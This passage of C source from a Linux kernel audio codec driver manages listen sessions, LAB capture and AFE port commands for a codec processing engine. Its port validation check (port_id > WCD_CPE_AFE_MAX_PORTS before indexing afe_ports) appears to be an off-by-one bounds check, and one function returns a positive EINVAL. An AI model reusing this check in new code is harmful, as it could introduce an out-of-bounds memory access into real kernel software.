model for listen * @core_handle: handle to cpe core * @session: session for which to deregister the sound model * */ static int wcd_cpe_lsm_dereg_snd_model(void *core_handle, struct cpe_lsm_session *session) { struct cmi_hdr cmd_dereg_snd_model; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_dereg_snd_model, 0, sizeof(cmd_dereg_snd_model)); if (fill_lsm_cmd_header_v0_inband(&cmd_dereg_snd_model, session->id, 0, CPE_LSM_SESSION_CMD_DEREGISTER_SOUND_MODEL)) { ret = -EINVAL; goto end_ret; } ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_dereg_snd_model); if (ret) dev_err(core->dev, "%s: failed to send dereg_snd_model cmd\n", __func__); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_lsm_get_afe_out_port_id: get afe output port id * @core_handle: handle to the CPE core * @session: session for which port id needs to get */ static int wcd_cpe_lsm_get_afe_out_port_id(void *core_handle, struct cpe_lsm_session *session) { struct wcd_cpe_core *core = core_handle; struct snd_soc_codec *codec; int rc = 0; if (!core || !core->codec) { pr_err("%s: Invalid handle to %s\n", __func__, (!core) ? "core" : "codec"); rc = -EINVAL; goto done; } if (!session) { dev_err(core->dev, "%s: Invalid session\n", __func__); rc = -EINVAL; goto done; } if (!core->cpe_cdc_cb || !core->cpe_cdc_cb->get_afe_out_port_id) { session->afe_out_port_id = WCD_CPE_AFE_OUT_PORT_2; dev_dbg(core->dev, "%s: callback not defined, default port_id = %d\n", __func__, session->afe_out_port_id); goto done; } codec = core->codec; rc = core->cpe_cdc_cb->get_afe_out_port_id(codec, &session->afe_out_port_id); if (rc) { dev_err(core->dev, "%s: failed to get port id, err = %d\n", __func__, rc); goto done; } dev_dbg(core->dev, "%s: port_id: %d\n", __func__, session->afe_out_port_id); done: return rc; } /* * wcd_cpe_cmd_lsm_start: send the start command to lsm * @core_handle: handle to the CPE core * @session: session for which start command to be sent * */ static int wcd_cpe_cmd_lsm_start(void *core_handle, struct cpe_lsm_session *session) { struct cmi_hdr cmd_lsm_start; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_lsm_start, 0, sizeof(struct cmi_hdr)); if (fill_lsm_cmd_header_v0_inband(&cmd_lsm_start, session->id, 0, CPE_LSM_SESSION_CMD_START)) { ret = -EINVAL; goto end_ret; } ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_lsm_start); if (ret) dev_err(core->dev, "failed to send lsm_start cmd\n"); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_cmd_lsm_stop: send the stop command for LSM service * @core_handle: handle to the cpe core * @session: session for which stop command to be sent * */ static int wcd_cpe_cmd_lsm_stop(void *core_handle, struct cpe_lsm_session *session) { struct cmi_hdr cmd_lsm_stop; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_lsm_stop, 0, sizeof(struct cmi_hdr)); if (fill_lsm_cmd_header_v0_inband(&cmd_lsm_stop, session->id, 0, CPE_LSM_SESSION_CMD_STOP)) { ret = -EINVAL; goto end_ret; } ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_lsm_stop); if (ret) dev_err(core->dev, "%s: failed to send lsm_stop cmd\n", __func__); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_alloc_lsm_session: allocate a lsm session * @core: handle to wcd_cpe_core * @lsm_priv_d: lsm private data */ static struct cpe_lsm_session *wcd_cpe_alloc_lsm_session( void *core_handle, void *client_data, void (*event_cb) (void *, u8, u8, u8 *)) { struct cpe_lsm_session *session; int i, session_id = -1; struct wcd_cpe_core *core = core_handle; bool afe_register_service = false; int ret = 0; /* * Even if multiple listen sessions can be * allocated, the AFE service registration * should be done only once as CPE can only * have one instance of AFE service. * * If this is the first session to be allocated, * only then register the afe service. */ if (!wcd_cpe_lsm_session_active()) afe_register_service = true; for (i = 1; i <= WCD_CPE_LSM_MAX_SESSIONS; i++) { if (!lsm_sessions[i]) { session_id = i; break; } } if (session_id < 0) { dev_err(core->dev, "%s: max allowed sessions already allocated\n", __func__); return NULL; } ret = wcd_cpe_vote(core, true); if (ret) { dev_err(core->dev, "%s: Failed to enable cpe, err = %d\n", __func__, ret); return NULL; } session = kzalloc(sizeof(struct cpe_lsm_session), GFP_KERNEL); if (!session) { dev_err(core->dev, "%s: failed to allocate session, no memory\n", __func__); goto err_session_alloc; } session->id = session_id; session->event_cb = event_cb; session->cmi_reg_handle = cmi_register(wcd_cpe_cmi_lsm_callback, CMI_CPE_LSM_SERVICE_ID); if (!session->cmi_reg_handle) { dev_err(core->dev, "%s: Failed to register LSM service with CMI\n", __func__); goto err_ret; } session->priv_d = client_data; mutex_init(&session->lsm_lock); if (afe_register_service) { /* Register for AFE Service */ core->cmi_afe_handle = cmi_register(wcd_cpe_cmi_afe_cb, CMI_CPE_AFE_SERVICE_ID); wcd_cpe_initialize_afe_port_data(); if (!core->cmi_afe_handle) { dev_err(core->dev, "%s: Failed to register AFE service with CMI\n", __func__); goto err_afe_svc_reg; } /* Once AFE service is registered, send the mode command */ ret = wcd_cpe_afe_svc_cmd_mode(core, AFE_SVC_EXPLICIT_PORT_START); if (ret) goto err_afe_mode_cmd; } session->lsm_mem_handle = 0; init_completion(&session->cmd_comp); lsm_sessions[session_id] = session; return session; err_afe_mode_cmd: cmi_deregister(core->cmi_afe_handle); err_afe_svc_reg: cmi_deregister(session->cmi_reg_handle); mutex_destroy(&session->lsm_lock); err_ret: kfree(session); err_session_alloc: wcd_cpe_vote(core, false); return NULL; } /* * wcd_cpe_lsm_config_lab_latency: send lab latency value * @core: handle to wcd_cpe_core * @session: lsm session * @latency: the value of latency for lab setup in msec */ static int wcd_cpe_lsm_config_lab_latency( struct wcd_cpe_core *core, struct cpe_lsm_session *session, u32 latency) { int ret = 0, pld_size = CPE_PARAM_LSM_LAB_LATENCY_SIZE; struct cpe_lsm_lab_latency_config cpe_lab_latency; struct cpe_lsm_lab_config *lab_lat = &cpe_lab_latency.latency_cfg; struct cpe_param_data *param_d = &lab_lat->param; struct cpe_lsm_ids ids; if (fill_lsm_cmd_header_v0_inband(&cpe_lab_latency.hdr, session->id, (u8) pld_size, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { pr_err("%s: Failed to create header\n", __func__); return -EINVAL; } if (latency == 0x00 || latency > WCD_CPE_LAB_MAX_LATENCY) { pr_err("%s: Invalid latency %u\n", __func__, latency); return -EINVAL; } else { lab_lat->latency = latency; } lab_lat->minor_ver = 1; ids.module_id = CPE_LSM_MODULE_ID_LAB; ids.param_id = CPE_LSM_PARAM_ID_LAB_CONFIG; wcd_cpe_set_param_data(param_d, &ids, PARAM_SIZE_LSM_LATENCY_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); pr_debug("%s: Module 0x%x Param 0x%x size %zu pld_size 0x%x\n", __func__, lab_lat->param.module_id, lab_lat->param.param_id, PARAM_SIZE_LSM_LATENCY_SIZE, pld_size); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cpe_lab_latency); if (ret != 0) pr_err("%s: lsm_set_params failed, error = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_lsm_lab_control: enable/disable lab * @core: handle to wcd_cpe_core * @session: lsm session * @enable: Indicates whether to enable / disable lab */ static int wcd_cpe_lsm_lab_control( void *core_handle, struct cpe_lsm_session *session, bool enable) { struct wcd_cpe_core *core = core_handle; int ret = 0, pld_size = CPE_PARAM_SIZE_LSM_LAB_CONTROL; struct cpe_lsm_control_lab cpe_lab_enable; struct cpe_lsm_lab_enable *lab_enable = &cpe_lab_enable.lab_enable; struct cpe_param_data *param_d = &lab_enable->param; struct cpe_lsm_ids ids; pr_debug("%s: enter payload_size = %d Enable %d\n", __func__, pld_size, enable); if (fill_lsm_cmd_header_v0_inband(&cpe_lab_enable.hdr, session->id, (u8) pld_size, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { return -EINVAL; } if (enable == true) lab_enable->enable = 1; else lab_enable->enable = 0; ids.module_id = CPE_LSM_MODULE_ID_LAB; ids.param_id = CPE_LSM_PARAM_ID_LAB_ENABLE; wcd_cpe_set_param_data(param_d, &ids, PARAM_SIZE_LSM_CONTROL_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); pr_debug("%s: Module 0x%x, Param 0x%x size %zu pld_size 0x%x\n", __func__, lab_enable->param.module_id, lab_enable->param.param_id, PARAM_SIZE_LSM_CONTROL_SIZE, pld_size); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cpe_lab_enable); if (ret != 0) { pr_err("%s: lsm_set_params failed, error = %d\n", __func__, ret); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); goto done; } WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); if (lab_enable->enable) ret = wcd_cpe_lsm_config_lab_latency(core, session, WCD_CPE_LAB_MAX_LATENCY); done: return ret; } /* * wcd_cpe_lsm_eob: stop lab * @core: handle to wcd_cpe_core * @session: lsm session to be deallocated */ static int wcd_cpe_lsm_eob( struct wcd_cpe_core *core, struct cpe_lsm_session *session) { int ret = 0; struct cmi_hdr lab_eob; if (fill_lsm_cmd_header_v0_inband(&lab_eob, session->id, 0, CPE_LSM_SESSION_CMD_EOB)) { return -EINVAL; } WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, &lab_eob); if (ret != 0) pr_err("%s: lsm_set_params failed\n", __func__); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_dealloc_lsm_session: deallocate lsm session * @core: handle to wcd_cpe_core * @session: lsm session to be deallocated */ static int wcd_cpe_dealloc_lsm_session(void *core_handle, struct cpe_lsm_session *session) { struct wcd_cpe_core *core = core_handle; int ret = 0; if (!session) { dev_err(core->dev, "%s: Invalid lsm session\n", __func__); return -EINVAL; } dev_dbg(core->dev, "%s: session %d being deallocated\n", __func__, session->id); if (session->id > WCD_CPE_LSM_MAX_SESSIONS) { dev_err(core->dev, "%s: Wrong session id %d max allowed = %d\n", __func__, session->id, WCD_CPE_LSM_MAX_SESSIONS); return -EINVAL; } cmi_deregister(session->cmi_reg_handle); mutex_destroy(&session->lsm_lock); lsm_sessions[session->id] = NULL; kfree(session); if (!wcd_cpe_lsm_session_active()) { cmi_deregister(core->cmi_afe_handle); core->cmi_afe_handle = NULL; wcd_cpe_deinitialize_afe_port_data(); } ret = wcd_cpe_vote(core, false); if (ret) dev_dbg(core->dev, "%s: Failed to un-vote cpe, err = %d\n", __func__, ret); return ret; } static int wcd_cpe_lab_ch_setup(void *core_handle, struct cpe_lsm_session *session, enum wcd_cpe_event event) { struct wcd_cpe_core *core = core_handle; struct snd_soc_codec *codec; int rc = 0; u8 cpe_intr_bits; if (!core || !core->codec) { pr_err("%s: Invalid handle to %s\n", __func__, (!core) ? "core" : "codec"); rc = EINVAL; goto done; } if (!core->cpe_cdc_cb || !core->cpe_cdc_cb->cdc_ext_clk || !core->cpe_cdc_cb->lab_cdc_ch_ctl) { dev_err(core->dev, "%s: Invalid codec callbacks\n", __func__); rc = -EINVAL; goto done; } codec = core->codec; dev_dbg(core->dev, "%s: event = 0x%x\n", __func__, event); switch (event) { case WCD_CPE_PRE_ENABLE: rc = core->cpe_cdc_cb->cdc_ext_clk(codec, true, false); if (rc) { dev_err(core->dev, "%s: failed to enable cdc clk, err = %d\n", __func__, rc); goto done; } rc = core->cpe_cdc_cb->lab_cdc_ch_ctl(codec, true); if (rc) { dev_err(core->dev, "%s: failed to enable cdc port, err = %d\n", __func__, rc); rc = core->cpe_cdc_cb->cdc_ext_clk(codec, false, false); goto done; } break; case WCD_CPE_POST_ENABLE: rc = cpe_svc_toggle_lab(core->cpe_handle, true); if (rc) dev_err(core->dev, "%s: Failed to enable lab\n", __func__); break; case WCD_CPE_PRE_DISABLE: /* * Mask the non-fatal interrupts in CPE as they will * be generated during lab teardown and may flood. */ cpe_intr_bits = ~(core->irq_info.cpe_fatal_irqs & 0xFF); if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control( core->codec, CPE_ERR_IRQ_MASK, &cpe_intr_bits); rc = core->cpe_cdc_cb->lab_cdc_ch_ctl(codec, false); if (rc) dev_err(core->dev, "%s: failed to disable cdc port, err = %d\n", __func__, rc); break; case WCD_CPE_POST_DISABLE: rc = wcd_cpe_lsm_eob(core, session); if (rc) dev_err(core->dev, "%s: eob send failed, err = %d\n", __func__, rc); /* Continue teardown even if eob failed */ rc = cpe_svc_toggle_lab(core->cpe_handle, false); if (rc) dev_err(core->dev, "%s: Failed to disable lab\n", __func__); /* Continue with disabling even if toggle lab fails */ rc = core->cpe_cdc_cb->cdc_ext_clk(codec, false, false); if (rc) dev_err(core->dev, "%s: failed to disable cdc clk, err = %d\n", __func__, rc); /* Unmask non-fatal CPE interrupts */ cpe_intr_bits = ~(core->irq_info.cpe_fatal_irqs & 0xFF); if (CPE_ERR_IRQ_CB(core)) core->cpe_cdc_cb->cpe_err_irq_control( core->codec, CPE_ERR_IRQ_UNMASK, &cpe_intr_bits); break; default: dev_err(core->dev, "%s: Invalid event 0x%x\n", __func__, event); rc = -EINVAL; break; } done: return rc; } static int wcd_cpe_lsm_set_fmt_cfg(void *core_handle, struct cpe_lsm_session *session) { int ret; struct cpe_lsm_output_format_cfg out_fmt_cfg; struct wcd_cpe_core *core = core_handle; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) goto done; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&out_fmt_cfg, 0, sizeof(out_fmt_cfg)); if (fill_lsm_cmd_header_v0_inband(&out_fmt_cfg.hdr, session->id, OUT_FMT_CFG_CMD_PAYLOAD_SIZE, CPE_LSM_SESSION_CMD_TX_BUFF_OUTPUT_CONFIG)) { ret = -EINVAL; goto err_ret; } out_fmt_cfg.format = session->out_fmt_cfg.format; out_fmt_cfg.packing = session->out_fmt_cfg.pack_mode; out_fmt_cfg.data_path_events = session->out_fmt_cfg.data_path_events; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &out_fmt_cfg); if (ret) dev_err(core->dev, "%s: lsm_set_output_format_cfg failed, err = %d\n", __func__, ret); err_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); done: return ret; } static void wcd_cpe_snd_model_offset(void *core_handle, struct cpe_lsm_session *session, size_t *offset) { *offset = sizeof(struct cpe_param_data); } static int wcd_cpe_lsm_set_media_fmt_params(void *core_handle, struct cpe_lsm_session *session, struct lsm_hw_params *param) { struct cpe_lsm_media_fmt_param media_fmt; struct cmi_hdr *msg_hdr = &media_fmt.hdr; struct wcd_cpe_core *core = core_handle; struct cpe_param_data *param_d = &media_fmt.param; struct cpe_lsm_ids ids; int ret; memset(&media_fmt, 0, sizeof(media_fmt)); if (fill_lsm_cmd_header_v0_inband(msg_hdr, session->id, CPE_MEDIA_FMT_PLD_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { ret = -EINVAL; goto done; } memset(&ids, 0, sizeof(ids)); ids.module_id = CPE_LSM_MODULE_FRAMEWORK; ids.param_id = CPE_LSM_PARAM_ID_MEDIA_FMT; wcd_cpe_set_param_data(param_d, &ids, CPE_MEDIA_FMT_PARAM_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); media_fmt.minor_version = 1; media_fmt.sample_rate = param->sample_rate; media_fmt.num_channels = param->num_chs; media_fmt.bit_width = param->bit_width; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, &media_fmt); if (ret) dev_err(core->dev, "%s: Set_param(media_format) failed, err=%d\n", __func__, ret); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); done: return ret; } static int wcd_cpe_lsm_set_port(void *core_handle, struct cpe_lsm_session *session, void *data) { u32 port_id; int ret; struct cpe_lsm_ids ids; struct wcd_cpe_core *core = core_handle; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) goto done; if (!data) { dev_err(core->dev, "%s: data is NULL\n", __func__); ret = -EINVAL; goto done; } port_id = *(u32 *)data; dev_dbg(core->dev, "%s: port_id: %d\n", __func__, port_id); memset(&ids, 0, sizeof(ids)); ids.module_id = LSM_MODULE_ID_FRAMEWORK; ids.param_id = LSM_PARAM_ID_CONNECT_TO_PORT; ret = wcd_cpe_send_param_connectport(core, session, NULL, &ids, port_id); if (ret) dev_err(core->dev, "%s: send_param_connectport failed, err %d\n", __func__, ret); done: return ret; } /* * wcd_cpe_get_lsm_ops: register lsm driver to codec * @lsm_ops: structure with lsm callbacks * @codec: codec to which this lsm driver is registered to */ int wcd_cpe_get_lsm_ops(struct wcd_cpe_lsm_ops *lsm_ops) { lsm_ops->lsm_alloc_session = wcd_cpe_alloc_lsm_session; lsm_ops->lsm_dealloc_session = wcd_cpe_dealloc_lsm_session; lsm_ops->lsm_open_tx = wcd_cpe_cmd_lsm_open_tx; lsm_ops->lsm_close_tx = wcd_cpe_cmd_lsm_close_tx; lsm_ops->lsm_shmem_alloc = wcd_cpe_cmd_lsm_shmem_alloc; lsm_ops->lsm_shmem_dealloc = wcd_cpe_cmd_lsm_shmem_dealloc; lsm_ops->lsm_register_snd_model = wcd_cpe_lsm_reg_snd_model; lsm_ops->lsm_deregister_snd_model = wcd_cpe_lsm_dereg_snd_model; lsm_ops->lsm_get_afe_out_port_id = wcd_cpe_lsm_get_afe_out_port_id; lsm_ops->lsm_start = wcd_cpe_cmd_lsm_start; lsm_ops->lsm_stop = wcd_cpe_cmd_lsm_stop; lsm_ops->lsm_lab_control = wcd_cpe_lsm_lab_control; lsm_ops->lab_ch_setup = wcd_cpe_lab_ch_setup; lsm_ops->lsm_set_data = wcd_cpe_lsm_set_data; lsm_ops->lsm_set_fmt_cfg = wcd_cpe_lsm_set_fmt_cfg; lsm_ops->lsm_set_one_param = wcd_cpe_set_one_param; lsm_ops->lsm_get_snd_model_offset = wcd_cpe_snd_model_offset; lsm_ops->lsm_set_media_fmt_params = wcd_cpe_lsm_set_media_fmt_params; lsm_ops->lsm_set_port = wcd_cpe_lsm_set_port; return 0; } EXPORT_SYMBOL(wcd_cpe_get_lsm_ops); static int fill_afe_cmd_header(struct cmi_hdr *hdr, u8 port_id, u16 opcode, u8 pld_size, bool obm_flag) { CMI_HDR_SET_SESSION(hdr, port_id); CMI_HDR_SET_SERVICE(hdr, CMI_CPE_AFE_SERVICE_ID); CMI_HDR_SET_PAYLOAD_SIZE(hdr, pld_size); hdr->opcode = opcode; if (obm_flag) CMI_HDR_SET_OBM(hdr, CMI_OBM_FLAG_OUT_BAND); else CMI_HDR_SET_OBM(hdr, CMI_OBM_FLAG_IN_BAND); return 0; } /* * wcd_cpe_cmi_send_afe_msg: send message to AFE service * @core: wcd cpe core handle * @port_cfg: configuration data for the afe port * for which this message is to be sent * @message: actual message with header and payload * * Port specific lock needs to be acquired before this * function can be invoked */ static int wcd_cpe_cmi_send_afe_msg( struct wcd_cpe_core *core, struct wcd_cmi_afe_port_data *port_d, void *message) { int ret = 0; struct cmi_hdr *hdr = message; pr_debug("%s: sending message with opcode 0x%x\n", __func__, hdr->opcode); if (unlikely(!wcd_cpe_is_online_state(core))) { dev_err(core->dev, "%s: CPE offline\n", __func__); return 0; } if (CMI_HDR_GET_OBM_FLAG(hdr)) wcd_cpe_bus_vote_max_bw(core, true); ret = cmi_send_msg(message); if (ret) { pr_err("%s: cmd 0x%x send failed, err = %d\n", __func__, hdr->opcode, ret); goto rel_bus_vote; } ret = wait_for_completion_timeout(&port_d->afe_cmd_complete, CMI_CMD_TIMEOUT); if (ret > 0) { pr_debug("%s: command 0x%x, received response 0x%x\n", __func__, hdr->opcode, port_d->cmd_result); if (port_d->cmd_result == CMI_SHMEM_ALLOC_FAILED) port_d->cmd_result = CPE_ENOMEMORY; if (port_d->cmd_result > 0) pr_err("%s: CPE returned error[%s]\n", __func__, cpe_err_get_err_str( port_d->cmd_result)); ret = cpe_err_get_lnx_err_code(port_d->cmd_result); goto rel_bus_vote; } else { pr_err("%s: command 0x%x send timed out\n", __func__, hdr->opcode); ret = -ETIMEDOUT; goto rel_bus_vote; } rel_bus_vote: reinit_completion(&port_d->afe_cmd_complete); if (CMI_HDR_GET_OBM_FLAG(hdr)) wcd_cpe_bus_vote_max_bw(core, false); return ret; } /* * wcd_cpe_afe_shmem_alloc: allocate the cpe memory for afe service * @core: handle to cpe core * @port_cfg: configuration data for the port which needs * memory to be allocated on CPE * @size: size of the memory to be allocated */ static int wcd_cpe_afe_shmem_alloc( struct wcd_cpe_core *core, struct wcd_cmi_afe_port_data *port_d, u32 size) { struct cpe_cmd_shmem_alloc cmd_shmem_alloc; int ret = 0; pr_debug("%s: enter: size = %d\n", __func__, size); memset(&cmd_shmem_alloc, 0, sizeof(cmd_shmem_alloc)); if (fill_afe_cmd_header(&cmd_shmem_alloc.hdr, port_d->port_id, CPE_AFE_PORT_CMD_SHARED_MEM_ALLOC, SHMEM_ALLOC_CMD_PLD_SIZE, false)) { ret = -EINVAL; goto end_ret; } cmd_shmem_alloc.size = size; ret = wcd_cpe_cmi_send_afe_msg(core, port_d, &cmd_shmem_alloc); if (ret) { pr_err("%s: afe_shmem_alloc fail,ret = %d\n", __func__, ret); goto end_ret; } pr_debug("%s: completed %s, mem_handle = 0x%x\n", __func__, "CPE_AFE_CMD_SHARED_MEM_ALLOC", port_d->mem_handle); end_ret: return ret; } /* * wcd_cpe_afe_shmem_dealloc: deallocate the cpe memory for * afe service * @core: handle to cpe core * @port_d: configuration data for the port which needs * memory to be deallocated on CPE * The memory handle to be de-allocated is saved in the * port configuration data */ static int wcd_cpe_afe_shmem_dealloc( struct wcd_cpe_core *core, struct wcd_cmi_afe_port_data *port_d) { struct cpe_cmd_shmem_dealloc cmd_dealloc; int ret = 0; pr_debug("%s: enter, port_id = %d\n", __func__, port_d->port_id); memset(&cmd_dealloc, 0, sizeof(cmd_dealloc)); if (fill_afe_cmd_header(&cmd_dealloc.hdr, port_d->port_id, CPE_AFE_PORT_CMD_SHARED_MEM_DEALLOC, SHMEM_DEALLOC_CMD_PLD_SIZE, false)) { ret = -EINVAL; goto end_ret; } cmd_dealloc.addr = port_d->mem_handle; ret = wcd_cpe_cmi_send_afe_msg(core, port_d, &cmd_dealloc); if (ret) { pr_err("failed to send shmem_dealloc cmd\n"); goto end_ret; } memset(&port_d->mem_handle, 0, sizeof(port_d->mem_handle)); end_ret: return ret; } /* * wcd_cpe_send_afe_cal: send the acdb calibration to AFE port * @core: handle to cpe core * @port_d: configuration data for the port for which the * calibration needs to be appplied */ static int wcd_cpe_send_afe_cal(void *core_handle, struct wcd_cmi_afe_port_data *port_d) { struct cal_block_data *afe_cal = NULL; struct wcd_cpe_core *core = core_handle; struct cmi_obm_msg obm_msg; void *inb_msg = NULL; void *msg; int rc = 0; bool is_obm_msg; if (core->cal_data[WCD_CPE_LSM_CAL_AFE] == NULL) { pr_err("%s: LSM cal not allocated!\n", __func__); rc = -EINVAL; goto rel_cal_mutex; } mutex_lock(&core->cal_data[WCD_CPE_LSM_CAL_AFE]->lock); afe_cal = cal_utils_get_only_cal_block( core->cal_data[WCD_CPE_LSM_CAL_AFE]); if (!afe_cal) { pr_err("%s: failed to get afe cal block\n", __func__); rc = -EINVAL; goto rel_cal_mutex; } if (afe_cal->cal_data.size == 0) { dev_dbg(core->dev, "%s: No AFE cal to send\n", __func__); rc = 0; goto rel_cal_mutex; } is_obm_msg = (afe_cal->cal_data.size > CMI_INBAND_MESSAGE_SIZE) ? true : false; if (is_obm_msg) { struct cmi_hdr *hdr = &(obm_msg.hdr); struct cmi_obm *pld = &(obm_msg.pld); rc = wcd_cpe_afe_shmem_alloc(core, port_d, afe_cal->cal_data.size); if (rc) { dev_err(core->dev, "%s: AFE shmem alloc fail %d\n", __func__, rc); goto rel_cal_mutex; } rc = fill_afe_cmd_header(hdr, port_d->port_id, CPE_AFE_CMD_SET_PARAM, CPE_AFE_PARAM_PAYLOAD_SIZE, true); if (rc) { dev_err(core->dev, "%s: invalid params for header, err = %d\n", __func__, rc); wcd_cpe_afe_shmem_dealloc(core, port_d); goto rel_cal_mutex; } pld->version = 0; pld->size = afe_cal->cal_data.size; pld->data_ptr.kvaddr = afe_cal->cal_data.kvaddr; pld->mem_handle = port_d->mem_handle; msg = &obm_msg; } else { u8 *msg_pld; struct cmi_hdr *hdr; inb_msg = kzalloc(sizeof(struct cmi_hdr) + afe_cal->cal_data.size, GFP_KERNEL); if (!inb_msg) { dev_err(core->dev, "%s: no memory for afe cal inband\n", __func__); rc = -ENOMEM; goto rel_cal_mutex; } hdr = (struct cmi_hdr *) inb_msg; rc = fill_afe_cmd_header(hdr, port_d->port_id, CPE_AFE_CMD_SET_PARAM, CPE_AFE_PARAM_PAYLOAD_SIZE, false); if (rc) { dev_err(core->dev, "%s: invalid params for header, err = %d\n", __func__, rc); kfree(inb_msg); inb_msg = NULL; goto rel_cal_mutex; } msg_pld = ((u8 *) inb_msg) + sizeof(struct cmi_hdr); memcpy(msg_pld, afe_cal->cal_data.kvaddr, afe_cal->cal_data.size); msg = inb_msg; } rc = wcd_cpe_cmi_send_afe_msg(core, port_d, msg); if (rc) pr_err("%s: afe cal for listen failed, rc = %d\n", __func__, rc); if (is_obm_msg) { wcd_cpe_afe_shmem_dealloc(core, port_d); port_d->mem_handle = 0; } else { kfree(inb_msg); inb_msg = NULL; } rel_cal_mutex: mutex_unlock(&core->cal_data[WCD_CPE_LSM_CAL_AFE]->lock); return rc; } /* * wcd_cpe_is_valid_port: check validity of afe port id * @core: handle to core to check for validity * @afe_cfg: client provided afe configuration * @func: function name invoking this validity check, * used for logging purpose only. */ static int wcd_cpe_is_valid_port(struct wcd_cpe_core *core, struct wcd_cpe_afe_port_cfg *afe_cfg, const char *func) { if (unlikely(IS_ERR_OR_NULL(core))) { pr_err("%s: Invalid core handle\n", func); return -EINVAL; } if (afe_cfg->port_id > WCD_CPE_AFE_MAX_PORTS) { dev_err(core->dev, "%s: invalid afe port (%u)\n", func, afe_cfg->port_id); return -EINVAL; } dev_dbg(core->dev, "%s: port_id = %u\n", func, afe_cfg->port_id); return 0; } static int wcd_cpe_afe_svc_cmd_mode(void *core_handle, u8 mode) { struct cpe_afe_svc_cmd_mode afe_mode; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret; afe_port_d = &afe_ports[0]; /* * AFE SVC mode command is for the service and not port * specific, hence use AFE port as 0 so the command will * be applied to all AFE ports on CPE. */ afe_port_d->port_id = 0; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&afe_mode, 0, sizeof(afe_mode)); if (fill_afe_cmd_header(&afe_mode.hdr, afe_port_d->port_id, CPE_AFE_SVC_CMD_LAB_MODE, CPE_AFE_CMD_MODE_PAYLOAD_SIZE, false)) { ret = -EINVAL; goto err_ret; } afe_mode.mode = mode; ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &afe_mode); if (ret) dev_err(core->dev, "%s: afe_svc_mode cmd failed, err = %d\n", __func__, ret); err_ret: WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); return ret; } static int wcd_cpe_afe_cmd_port_cfg(void *core_handle, struct wcd_cpe_afe_port_cfg *afe_cfg) { struct cpe_afe_cmd_port_cfg port_cfg_cmd; struct wcd_cpe_core *core = core_handle; struct wcd_cmi_afe_port_data *afe_port_d; int ret; ret = wcd_cpe_is_valid_port(core, afe_cfg, __func__); if (ret) goto done; afe_port_d = &afe_ports[afe_cfg->port_id]; afe_port_d->port_id = afe_cfg->port_id; WCD_CPE_GRAB_LOCK(&afe_port_d->afe_lock, "afe"); memset(&port_cfg_cmd, 0, sizeof(port_cfg_cmd)); if (fill_afe_cmd_header(&port_cfg_cmd.hdr, afe_cfg->port_id, CPE_AFE_PORT_CMD_GENERIC_CONFIG, CPE_AFE_CMD_PORT_CFG_PAYLOAD_SIZE, false)) { ret = -EINVAL; goto err_ret; } port_cfg_cmd.bit_width = afe_cfg->bit_width; port_cfg_cmd.num_channels = afe_cfg->num_channels; port_cfg_cmd.sample_rate = afe_cfg->sample_rate; if (afe_port_d->port_id == CPE_AFE_PORT_3_TX) port_cfg_cmd.buffer_size = WCD_CPE_EC_PP_BUF_SIZE; else port_cfg_cmd.buffer_size = AFE_OUT_BUF_SIZE(afe_cfg->bit_width, afe_cfg->sample_rate); ret = wcd_cpe_cmi_send_afe_msg(core, afe_port_d, &port_cfg_cmd); if (ret) dev_err(core->dev, "%s: afe_port_config failed, err = %d\n", __func__, ret); err_ret: WCD_CPE_REL_LOCK(&afe_port_d->afe_lock, "afe"); done: return ret; } /* * wcd_cpe_afe_set_params: set the parameters for afe port * @afe_cfg: configuration data for the port for which the * parameters are to be set */ static int wcd_cpe_afe_set_params(void *core_handle, struct wcd_cpe_afe_port_cfg *afe_cfg, bool afe_mad_ctl) { struct cpe_afe_params afe_params; struct 